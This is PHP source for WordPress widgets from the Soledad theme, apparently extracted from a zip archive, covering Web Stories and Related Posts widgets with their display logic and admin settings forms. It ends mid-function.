						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'DESC ( Descending Order )', 'soledad' ); ?></option>
                    <option value='ASC' <?php if ( 'ASC' == $instance['order'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'ASC ( Ascending Order )', 'soledad' ); ?></option>
                </select>
            </p>

            <!-- Image Size -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'image_type' ) ); ?>"><?php esc_html_e( 'Featured Images Type:', 'soledad' ); ?></label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'image_type' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'image_type' ) ); ?>"
                        class="widefat image_type" style="width:100%;">
                    <option value='default' <?php if ( 'default' == $instance['image_type'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Default ( follow on Customize )', 'soledad' ); ?></option>
                    <option value='horizontal' <?php if ( 'horizontal' == $instance['image_type'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Horizontal Size', 'soledad' ); ?></option>
                    <option value='square' <?php if ( 'square' == $instance['image_type'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Square Size', 'soledad' ); ?></option>
                    <option value='vertical' <?php if ( 'vertical' == $instance['image_type'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Vertical Size', 'soledad' ); ?></option>
                </select>
            </p>

            <!-- Number of posts -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'number' ) ); ?>"><?php esc_html_e( 'Number of posts to show:', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'number' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'number' ) ); ?>"
                       value="<?php echo esc_attr( $instance['number'] ); ?>" size="3"/>
            </p>

            <!-- Offset of posts -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'offset' ) ); ?>"><?php esc_html_e( 'Number of offset Posts:', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'offset' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'offset' ) ); ?>"
                       value="<?php echo esc_attr( $instance['offset'] ); ?>" size="3"/>
            </p>

            <!-- Display post date -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'date' ) ); ?>"><?php esc_html_e( 'Hide post date?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'date' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'date' ) ); ?>" <?php checked( (bool) $instance['date'], true ); ?> />
            </p>

            <!-- Disable autoplay -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'autoplay' ) ); ?>"><?php esc_html_e( 'Enable slider autoplay?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'autoplay' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'autoplay' ) ); ?>" <?php checked( (bool) $instance['autoplay'], true ); ?> />
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'ptfs' ) ); ?>"><?php esc_html_e( 'Post Title Font Size ( Default: 18 )', 'soledad' ); ?></label>
                <input type="number" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'ptfs' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'ptfs' ) ); ?>"
                       value="<?php echo esc_attr( $instance['ptfs'] ); ?>" size="3"/>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'pmfs' ) ); ?>"><?php esc_html_e( 'Post Meta Font Size ( Default: 13 )', 'soledad' ); ?></label>
                <input type="number" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'pmfs' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'pmfs' ) ); ?>"
                       value="<?php echo esc_attr( $instance['pmfs'] ); ?>" size="3"/>
            </p>

			<?php
		}
	}
}
?>
PK     N\d/(F  F    inc/widgets/web_stories.phpnu [        <?php
/**
 * Web Stories widget
 * Display webs stories posts on footer or sidebar
 *
 * @package Soledad
 * @since   8.2.2
 */

add_action( 'widgets_init', 'penci_webstories_load_widget' );

function penci_webstories_load_widget() {
	register_widget( 'penci_webstories_widget' );
}

if ( ! class_exists( 'penci_webstories_widget' ) ) {
	class penci_webstories_widget extends WP_Widget {

		/**
		 * Widget setup.
		 */
		function __construct() {
			/* Widget settings. */
			$widget_ops = array(
				'classname'   => 'penci_webstories_widget',
				'description' => esc_html__( 'A widget that displays an a Web Stories', 'soledad' )
			);

			/* Widget control settings. */
			$control_ops = array( 'id_base' => 'penci_webstories_widget' );

			/* Create the widget. */ global $wp_version;
			if ( 4.3 > $wp_version ) {
				$this->WP_Widget( 'penci_webstories_widget', penci_get_theme_name( '.Soledad', true ) . esc_html__( 'Web Stories', 'soledad' ), $widget_ops, $control_ops );
			} else {
				parent::__construct( 'penci_webstories_widget', penci_get_theme_name( '.Soledad', true ) . esc_html__( 'Web Stories', 'soledad' ), $widget_ops, $control_ops );
			}
		}

		/**
		 * How to display the widget on the screen.
		 */
		function widget( $args, $instance ) {
			extract( $args );

			/* Our variables from the widget settings. */
			$title = isset( $instance['title'] ) ? $instance['title'] : '';
			$title = apply_filters( 'widget_title', $title );

			/* Before widget (defined by themes). */
			echo ent2ncr( $before_widget );

			/* Display the widget title if one was input (before and after defined by themes). */
			if ( $title ) {
				echo $before_title . $title . $after_title;
			}

			$args_stories = [
				'order'       => isset( $instance['order'] ) ? $instance['order'] : '',
				'orderby'     => isset( $instance['orderby'] ) ? $instance['orderby'] : '',
				'number'      => isset( $instance['number'] ) ? $instance['number'] : 4,
				'offset'      => isset( $instance['offset'] ) ? $instance['offset'] : 0,
				'story_cat'   => isset( $instance['story_cat'] ) ? $instance['story_cat'] : '',
				'story_tag'   => isset( $instance['story_tag'] ) ? $instance['story_tag'] : '',
				'layout'      => isset( $instance['layout'] ) ? $instance['layout'] : 'grid',
				'align'       => isset( $instance['align'] ) ? $instance['align'] : '',
				'columns'     => isset( $instance['columns'] ) ? $instance['columns'] : 4,
				'iwidth'      => isset( $instance['iwidth'] ) ? $instance['iwidth'] : 100,
				'nextprev'    => isset( $instance['nextprev'] ) && $instance['nextprev'] ? 'yes' : '',
				'pos'         => isset( $instance['pos'] ) && $instance['pos'] ? 'yes' : '',
				'showtitle'   => isset( $instance['showtitle'] ) && $instance['showtitle'] ? 'yes' : '',
				'title_fsize' => isset( $instance['title_fsize'] ) && $instance['title_fsize'] ? $instance['title_fsize'] : '',
				'iboradius' => isset( $instance['iboradius'] ) && $instance['iboradius'] ? $instance['iboradius'] : '',
			];

			$id_base = '#' . $this->id;

			penci_webstories( $args_stories );

			echo '<style>';
			if ( $args_stories['columns'] ) {
				echo $id_base . ' .pc-wstories-wrapper .pc-wstories-list.grid .pc-webstory-item{width:calc(100% / ' . $args_stories['columns'] . ')}';
				echo $id_base . ' .pc-wstories-wrapper .pc-wstories-list.slider:not(.penci-owl-loaded) .pc-webstory-item{width:calc(100% / ' . $args_stories['columns'] . ')}';
				echo $id_base . ' .pc-wstories-wrapper .pc-wstories-list.one-row .pc-webstory-item{width:unset;flex: 0 0 calc(100% / ' . $args_stories['columns'] . ');min-width:calc(100% / ' . $args_stories['columns'] . ');}';
			}
			if ( $args_stories['iboradius'] ) {
				echo $id_base . ' .pc-wstories-wrapper .pc-webstory-thumb-wrapper, '. $id_base .' .pc-wstories-wrapper .pc-webstory-thumb{border-radius:' . $args_stories['iboradius'] . 'px;}';
			}
			if ( $args_stories['iwidth'] ) {
				echo $id_base . ' .pc-wstories-wrapper .pc-wstories-list.one-row .pc-webstory-item{flex: 0 0 ' . $args_stories['iwidth'] . 'px;min-width:' . $args_stories['iwidth'] . 'px;}';
			}
			if ( $args_stories['title_fsize'] ) {
				echo $id_base . ' .pc-webstory-item .pc-webstory-item-title h4{font-size:' . $args_stories['title_fsize'] . 'px}';
			}
			echo '</style>';

			wp_enqueue_script( 'penci_web_stories' );

			/* After widget (defined by themes). */
			echo ent2ncr( $after_widget );
		}

		/**
		 * Update the widget settings.
		 */
		function update( $new_instance, $old_instance ) {
			$instance = $old_instance;

			$data_instance = $this->soledad_widget_defaults();

			foreach ( $data_instance as $data => $value ) {
				$instance[ $data ] = ! empty( $new_instance[ $data ] ) ? $new_instance[ $data ] : '';
			}

			return $instance;
		}

		public function soledad_widget_defaults() {
			return array(
				'title'       => 'Web Stories',
				'order'       => '',
				'orderby'     => '',
				'number'      => 4,
				'offset'      => '',
				'story_cat'   => '',
				'story_tag'   => '',
				'layout'      => 'grid',
				'align'       => '',
				'columns'     => 4,
				'iwidth'      => 100,
				'nextprev'    => true,
				'pos'         => true,
				'showtitle'   => true,
				'title_fsize' => '',
				'iboradius' => '',
			);
		}

		function form( $instance ) {

			/* Set up some default widget settings. */
			$defaults = $this->soledad_widget_defaults();
			$instance = wp_parse_args( (array) $instance, $defaults );

			$story_cat = array();
			$story_tag = array();

			if ( isset( $instance['cats_id'] ) && ! empty( $instance['story_cat'] ) ) {
				$story_cat = explode( ',', $instance['story_cat'] );
			}
			if ( isset( $instance['story_tag'] ) && ! empty( $instance['story_tag'] ) ) {
				$story_tag = explode( ',', $instance['story_tag'] );
			}

			$instance_title = $instance['title'] ? str_replace( '"', '&quot;', $instance['title'] ) : '';
			?>
            <!-- Widget Title: Text Input -->

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"><?php esc_html_e( 'Title:', 'soledad' ); ?></label>
                <input class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'title' ) ); ?>"
                       value="<?php echo $instance_title; ?>"/>
            </p>

            <!-- Category -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'cats_id' ) ); ?>"><?php esc_html_e( 'Include Categories:', 'soledad' ); ?></label>
                <select multiple="multiple" id="<?php echo esc_attr( $this->get_field_id( 'cats_id' ) ); ?>[]"
                        name="<?php echo esc_attr( $this->get_field_name( 'cats_id' ) ); ?>[]"
                        class="widefat categories" style="width:100%; height: 125px;">
                    <option value='all' <?php if ( in_array( 'all', $story_cat ) ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'All categories', 'soledad' ); ?></option>
					<?php $categories = get_categories( 'taxonomy=web_story_category&hide_empty=0&depth=1&type=web-story' ); ?>
					<?php foreach ( $categories as $category ) { ?>
                        <option value='<?php echo esc_attr( $category->term_id ); ?>' <?php if ( in_array( $category->term_id, $story_cat ) ) {
							echo 'selected="selected"';
						} ?>><?php echo sanitize_text_field( $category->name ); ?></option>
					<?php } ?>
                </select>
                <span class="description"><?php _e( 'Hold the "Ctrl" on the keyboard and click to select/un-select multiple categories.', 'soledad' ); ?></span>
            </p>

            <!-- Tags -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'tags_id' ) ); ?>"><?php esc_html_e( 'Include Tags:', 'soledad' ); ?></label>
                <select multiple="multiple" id="<?php echo esc_attr( $this->get_field_id( 'tags_id' ) ); ?>[]"
                        name="<?php echo esc_attr( $this->get_field_name( 'tags_id' ) ); ?>[]"
                        class="widefat categories" style="width:100%; height: 125px;">
                    <option value='all' <?php if ( in_array( 'all', $story_tag ) ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'All tags', 'soledad' ); ?></option>
					<?php $tags = get_tags( 'taxonomy=web_story_tag&hide_empty=0&depth=1&type=web-story' ); ?>
					<?php foreach ( $tags as $tag ) { ?>
                        <option value='<?php echo esc_attr( $tag->term_id ); ?>' <?php if ( in_array( $tag->term_id, $story_tag ) ) {
							echo 'selected="selected"';
						} ?>><?php echo sanitize_text_field( $tag->name ); ?></option>
					<?php } ?>
                </select>
                <span class="description"><?php _e( 'Hold the "Ctrl" on the keyboard and click to select/un-select multiple tags.', 'soledad' ); ?></span>
            </p>

            <!-- Order by -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'orderby' ) ); ?>"><?php esc_html_e( 'Order By:', 'soledad' ); ?></label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'orderby' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'orderby' ) ); ?>" class="widefat orderby"
                        style="width:100%;">
                    <option value='date' <?php if ( 'date' == $instance['orderby'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Published Date', 'soledad' ); ?></option>
                    <option value='ID' <?php if ( 'ID' == $instance['orderby'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Posts ID', 'soledad' ); ?></option>
                    <option value='title' <?php if ( 'title' == $instance['orderby'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Posts Titles', 'soledad' ); ?></option>
                    <option value='modified' <?php if ( 'modified' == $instance['orderby'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Modified Date', 'soledad' ); ?></option>
                    <option value='comment_count' <?php if ( 'comment_count' == $instance['orderby'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Comment Count', 'soledad' ); ?></option>
                    <option value='rand' <?php if ( 'rand' == $instance['orderby'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Random', 'soledad' ); ?></option>
                </select>
            </p>

            <!-- Order -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'order' ) ); ?>"><?php esc_html_e( 'Select Order Type:', 'soledad' ); ?></label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'order' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'order' ) ); ?>" class="widefat orderby"
                        style="width:100%;">
                    <option value='DESC' <?php if ( 'DESC' == $instance['order'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'DESC ( Descending Order )', 'soledad' ); ?></option>
                    <option value='ASC' <?php if ( 'ASC' == $instance['order'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'ASC ( Ascending Order )', 'soledad' ); ?></option>
                </select>
            </p>

            <!-- Number of posts -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'number' ) ); ?>"><?php esc_html_e( 'Number of posts to show:', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'number' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'number' ) ); ?>"
                       value="<?php echo esc_attr( $instance['number'] ); ?>" size="3"/>
            </p>

            <!-- Offset of posts -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'offset' ) ); ?>"><?php esc_html_e( 'Number of offset Posts:', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'offset' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'offset' ) ); ?>"
                       value="<?php echo esc_attr( $instance['offset'] ); ?>" size="3"/>
            </p>

            <!-- Layout -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'layout' ) ); ?>"><?php esc_html_e( 'Select Layout Type:', 'soledad' ); ?></label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'layout' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'layout' ) ); ?>" class="widefat orderby"
                        style="width:100%;">
                    <option value='grid' <?php if ( 'grid' == $instance['layout'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Grid', 'soledad' ); ?></option>
                    <option value='grid' <?php if ( 'slider' == $instance['layout'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Slider', 'soledad' ); ?></option>
                    <option value='onerow' <?php if ( 'onerow' == $instance['layout'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'One Row', 'soledad' ); ?></option>
                </select>
            </p>

            <!-- Columns -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'columns' ) ); ?>"><?php esc_html_e( 'Number of columns to show:', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'columns' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'columns' ) ); ?>"
                       value="<?php echo esc_attr( $instance['columns'] ); ?>" size="12"/>
            </p>

            <!-- Custom Item Width -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'iwidth' ) ); ?>"><?php esc_html_e( 'Custom Item Width (for One Row Layout):', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'iwidth' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'iwidth' ) ); ?>"
                       value="<?php echo esc_attr( $instance['iwidth'] ); ?>" size="12"/>
            </p>

            <!-- Align -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'align' ) ); ?>">Align This Widget:</label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'align' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'align' ) ); ?>" class="widefat categories"
                        style="width:100%;">
                    <option value='pc_aligncenter' <?php if ( '' == $instance['align'] ) {
						echo 'selected="selected"';
					} ?>>Align Center
                    </option>
                    <option value='pc_alignleft' <?php if ( 'pc_alignleft' == $instance['align'] ) {
						echo 'selected="selected"';
					} ?>>Align Left
                    </option>
                    <option value='pc_alignright' <?php if ( 'pc_alignright' == $instance['align'] ) {
						echo 'selected="selected"';
					} ?>>Align Right
                    </option>
                </select>
            </p>
			
			<!-- Border radius -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'iboradius' ) ); ?>"><?php esc_html_e( 'Thumbnail Border Radius (px):', 'soledad' ); ?></label>
                <input type="number" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'iboradius' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'iboradius' ) ); ?>"
                       value="<?php echo esc_attr( $instance['iboradius'] ); ?>" size="3"/>
            </p>

            <!-- Show Title -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'showtitle' ) ); ?>"><?php esc_html_e( 'Display Story Title ?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'showtitle' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'showtitle' ) ); ?>" <?php checked( (bool) $instance['showtitle'], true ); ?> />
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'title_fsize' ) ); ?>"><?php esc_html_e( 'Font size for Story Title:', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'title_fsize' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'title_fsize' ) ); ?>"
                       value="<?php echo esc_attr( $instance['title_fsize'] ); ?>" size="12"/>
            </p>

            <!-- Show Next/Prev -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'nextprev' ) ); ?>"><?php esc_html_e( 'Display Next/Prev Buttons ?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'nextprev' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'nextprev' ) ); ?>" <?php checked( (bool) $instance['nextprev'], true ); ?> />
            </p>

            <!-- Show Position  -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'pos' ) ); ?>"><?php esc_html_e( 'Display Current Story Position ?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'pos' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'pos' ) ); ?>" <?php checked( (bool) $instance['pos'], true ); ?> />
            </p>
			<?php
		}
	}
}
?>
PK     N\i33x  3x  #  inc/widgets/related_post_widget.phpnu [        <?php
/**
 * Lastest post widget
 * Get recent posts and display in widget
 *
 * @package Wordpress
 * @since 1.0
 */

add_action( 'widgets_init', 'penci_related_news_load_widget' );

function penci_related_news_load_widget() {
	register_widget( 'penci_related_news_widget' );
}

if ( ! class_exists( 'penci_related_news_widget' ) ) {
	class penci_related_news_widget extends WP_Widget {

		/**
		 * Widget setup.
		 */
		function __construct() {
			/* Widget settings. */
			$widget_ops = array(
				'classname'   => 'penci_related_news_widget',
				'description' => esc_html__( 'A widget that displays your related posts based on currently viewing posts. Note that this widget just appears on single post pages only.', 'soledad' )
			);

			/* Widget control settings. */
			$control_ops = array( 'id_base' => 'penci_related_news_widget' );

			/* Create the widget. */
			global $wp_version;
			if ( 4.3 > $wp_version ) {
				$this->WP_Widget( 'penci_related_news_widget', penci_get_theme_name( '.Soledad', true ) . esc_html__( 'Related Posts', 'soledad' ), $widget_ops, $control_ops );
			} else {
				parent::__construct( 'penci_related_news_widget', penci_get_theme_name( '.Soledad', true ) . esc_html__( 'Related Posts', 'soledad' ), $widget_ops, $control_ops );
			}
		}

		/**
		 * How to display the widget on the screen.
		 */
		function widget( $args, $instance ) {
			extract( $args );

			/* Our variables from the widget settings. */
			$title        = isset( $instance['title'] ) ? $instance['title'] : '';
			$title        = apply_filters( 'widget_title', $title );
			$type         = isset( $instance['type'] ) ? $instance['type'] : 'categories';
			$orderby      = isset( $instance['orderby'] ) ? $instance['orderby'] : 'date';
			$order        = isset( $instance['order'] ) ? $instance['order'] : 'DESC';
			$metakey	  = isset( $instance['metakey'] ) ? $instance['metakey'] : '';
			$number       = isset( $instance['number'] ) ? $instance['number'] : 5;
			$title_length = isset( $instance['title_length'] ) ? $instance['title_length'] : '';
			$dotstyle     = isset( $instance['dotstyle'] ) ? $instance['dotstyle'] : '';
			$movemeta     = isset( $instance['movemeta'] ) ? $instance['movemeta'] : false;
			$featured     = isset( $instance['featured'] ) ? $instance['featured'] : false;
			$twocolumn    = isset( $instance['twocolumn'] ) ? $instance['twocolumn'] : false;
			$featured2    = isset( $instance['featured2'] ) ? $instance['featured2'] : false;
			$allfeatured  = isset( $instance['allfeatured'] ) ? $instance['allfeatured'] : false;
			$thumbright   = isset( $instance['thumbright'] ) ? $instance['thumbright'] : false;
			$postdate     = isset( $instance['postdate'] ) ? $instance['postdate'] : false;
			$icon         = isset( $instance['icon'] ) ? $instance['icon'] : false;
			$image_type   = isset( $instance['image_type'] ) ? $instance['image_type'] : 'default';
			$ptfsfe       = isset( $instance['ptfsfe'] ) ? absint( $instance['ptfsfe'] ) : '';
			$ptfs         = isset( $instance['ptfs'] ) ? absint( $instance['ptfs'] ) : '';
			$pmfs         = isset( $instance['pmfs'] ) ? absint( $instance['pmfs'] ) : '';

			$original_post_id = get_the_ID();

			$args = penci_get_query_related_posts( get_the_ID(), $type, $orderby, $order, $number );

			if ( $metakey && $orderby == 'metakey' ) {
				$args['meta_key'] = $metakey;
				$args['orderby']  = 'meta_value_num';
			}

			if ( is_singular( 'post' ) && ! empty( $args ) ) {

				$loop = new WP_Query( $args );
				if ( $loop->have_posts() ) :

					/* Before widget (defined by themes). */
					echo ent2ncr( $before_widget );

					/* Display the widget title if one was input (before and after defined by themes). */
					if ( $title ) {
						echo ent2ncr( $before_title ) . $title . ent2ncr( $after_title );
					}

					$rand = rand( 1000, 10000 );

					?>
                    <ul id="penci-relatedwg-<?php echo sanitize_text_field( $rand ); ?>"
                        data-settings='<?php echo json_encode( $instance ); ?>' data-paged="1"
                        data-id="<?php echo esc_attr( $original_post_id ); ?>"
                        data-action="penci_related_news_widget_ajax"
                        data-mes="<?php echo penci_get_setting( 'penci_trans_no_more_posts' ); ?>"
                        data-max="<?php echo esc_attr( $loop->max_num_pages ); ?>"
                        class="side-newsfeed<?php if ( $twocolumn && ! $allfeatured ): echo ' penci-feed-2columns';
						    if ( $featured ) {
							    echo ' penci-2columns-featured';
						    } else {
							    echo ' penci-2columns-feed';
						    } endif;
					    if ( $dotstyle ) {
						    echo ' pctlst pctl-' . $dotstyle;
					    } ?>">
						<?php $num = 1;
						while ( $loop->have_posts() ) : $loop->the_post(); ?>
                            <li class="penci-feed<?php if ( ( ( $num == 1 ) && $featured ) || $allfeatured ): echo ' featured-news';
								if ( $featured2 ): echo ' featured-news2'; endif; endif; ?><?php if ( $allfeatured ): echo ' all-featured-news'; endif; ?>">
                                <div class="side-item">

									<?php if ( ( function_exists( 'has_post_thumbnail' ) ) && ( has_post_thumbnail() ) ) : ?>
                                        <div class="side-image<?php if ( $thumbright ): echo ' thumbnail-right'; endif; ?>">
											<?php
											$size_pie = 'small';
											if ( ( ( $num == 1 ) && $featured ) || $allfeatured ): $size_pie = 'normal'; endif;
											do_action( 'penci_bookmark_post', get_the_ID(), $size_pie );
											/* Display Review Piechart  */
											if ( function_exists( 'penci_display_piechart_review_html' ) ) {
												penci_display_piechart_review_html( get_the_ID(), $size_pie );
											}
											$thumb = penci_featured_images_size( 'small' );
											if ( ( ( $num == 1 ) && $featured ) || $allfeatured ): $thumb = penci_featured_images_size(); endif;
											if ( $image_type == 'horizontal' ) {
												$thumb = 'penci-thumb-small';
												if ( ( ( $num == 1 ) && $featured ) || $allfeatured ): $thumb = 'penci-thumb'; endif;
											} elseif ( $image_type == 'square' ) {
												$thumb = 'penci-thumb-square';
											} elseif ( $image_type == 'vertical' ) {
												$thumb = 'penci-thumb-vertical';
											}
											?>

                                            <a <?php echo penci_layout_bg( penci_image_srcset( get_the_ID(), $thumb )); ?> class="<?php echo penci_layout_bg_class();?> penci-image-holder<?php if ( ( ( $num == 1 ) && $featured ) || $allfeatured ) {
												echo '';
											} else {
												echo ' small-fix-size';
											} ?>" rel="bookmark"
                                               href="<?php the_permalink(); ?>"
                                               title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
												<?php echo penci_layout_img( penci_image_srcset( get_the_ID(), $thumb ), get_the_title() ); ?>
                                            </a>


											<?php if ( $icon ): ?>
												<?php if ( has_post_format( 'video' ) ) : ?>
                                                    <a href="<?php the_permalink() ?>" class="icon-post-format"
                                                       aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></a>
												<?php endif; ?>
												<?php if ( has_post_format( 'audio' ) ) : ?>
                                                    <a href="<?php the_permalink() ?>" class="icon-post-format"
                                                       aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-music' ); ?></a>
												<?php endif; ?>
												<?php if ( has_post_format( 'link' ) ) : ?>
                                                    <a href="<?php the_permalink() ?>" class="icon-post-format"
                                                       aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-link' ); ?></a>
												<?php endif; ?>
												<?php if ( has_post_format( 'quote' ) ) : ?>
                                                    <a href="<?php the_permalink() ?>" class="icon-post-format"
                                                       aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-quote-left' ); ?></a>
												<?php endif; ?>
												<?php if ( has_post_format( 'gallery' ) ) : ?>
                                                    <a href="<?php the_permalink() ?>" class="icon-post-format"
                                                       aria-label="Icon"><?php penci_fawesome_icon( 'far fa-image' ); ?></a>
												<?php endif; ?>
											<?php endif; ?>
                                        </div>
									<?php endif; ?>
                                    <div class="side-item-text">
										<?php if ( $movemeta && ! $postdate ): ?>
                                            <div class="grid-post-box-meta penci-side-item-meta pcsnmt-above">
                                                <span class="side-item-meta"><?php penci_soledad_time_link(); ?></span>
												<?php do_action( 'penci_extra_meta' ); ?>
                                            </div>
										<?php endif; ?>
                                        <h4 class="side-title-post">
                                            <a href="<?php the_permalink() ?>" rel="bookmark"
                                               title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
												<?php
												if ( ! $title_length || ! is_numeric( $title_length ) ) {
													if ( $featured2 && ( ( ( $num == 1 ) && $featured ) || $allfeatured ) ) {
														echo wp_trim_words( wp_strip_all_tags( get_the_title() ), 12, '...' );
													} else {
														the_title();
													}
												} else {
													echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $title_length, '...' );
												}
												?>
                                            </a>
                                        </h4>
										<?php if ( ! $movemeta && ! $postdate ): ?>
                                            <div class="grid-post-box-meta penci-side-item-meta pcsnmt-below">
                                                <span class="side-item-meta"><?php penci_soledad_time_link(); ?></span>
												<?php do_action( 'penci_extra_meta' ); ?>
                                            </div>
										<?php endif; ?>
                                    </div>
                                </div>
                            </li>
							<?php $num ++; endwhile; ?>
                    </ul>

					<?php

					if ( isset( $instance['ajaxnav'] ) && $instance['ajaxnav'] == 'btn' ) {
						?>
                        <div class="penci-pagination penci-ajax-more pcwg-lposts">
                            <a class="penci-ajax-more-button penci-wgajx-btn"
                               href="#" aria-label="More Posts">
                                <span class="ajax-more-text"><?php echo penci_get_setting( 'penci_trans_load_more_posts' ); ?></span><span
                                        class="ajaxdot"></span><i
                                        class="penci-faicon fa fa-refresh"></i> </a>
                        </div>
						<?php
					} else if ( isset( $instance['ajaxnav'] ) && $instance['ajaxnav'] == 'nav' ) { ?>
                        <div class="penci-pagination penci-ajax-nav pcwg-lposts">
                            <span class="pcajx-btn penci-wgajx-btn prev disable"><?php echo penci_icon_by_ver( 'penciicon-left-chevron' ) . ' <span class="pcnav-title">' . penci_get_setting( 'penci_trans_back' ); ?></span></span>
                            <span class="pcajx-btn penci-wgajx-btn next"><span
                                        class="pcnav-title"><?php echo penci_get_setting( 'penci_trans_next' ) . '</span> ' . penci_icon_by_ver( 'penciicon-right-chevron' ); ?></span>
                        </div>
						<?php
					}
					if ( isset( $instance['ajaxnav'] ) && $instance['ajaxnav'] ) {
						?>
                        <div class="pcwgajx-ld-wrapper">
							<?php echo penci_get_html_animation_loading( 'df' ); ?>
                        </div>
						<?php
					}
					$attrstyle = '';
					if ( $ptfsfe ) {
						$attrstyle .= '.widget ul#penci-relatedwg-' . $rand . ' li.featured-news .side-item .side-item-text h4 a{ font-size: ' . $ptfsfe . 'px; }';
					}
					if ( $ptfs ) {
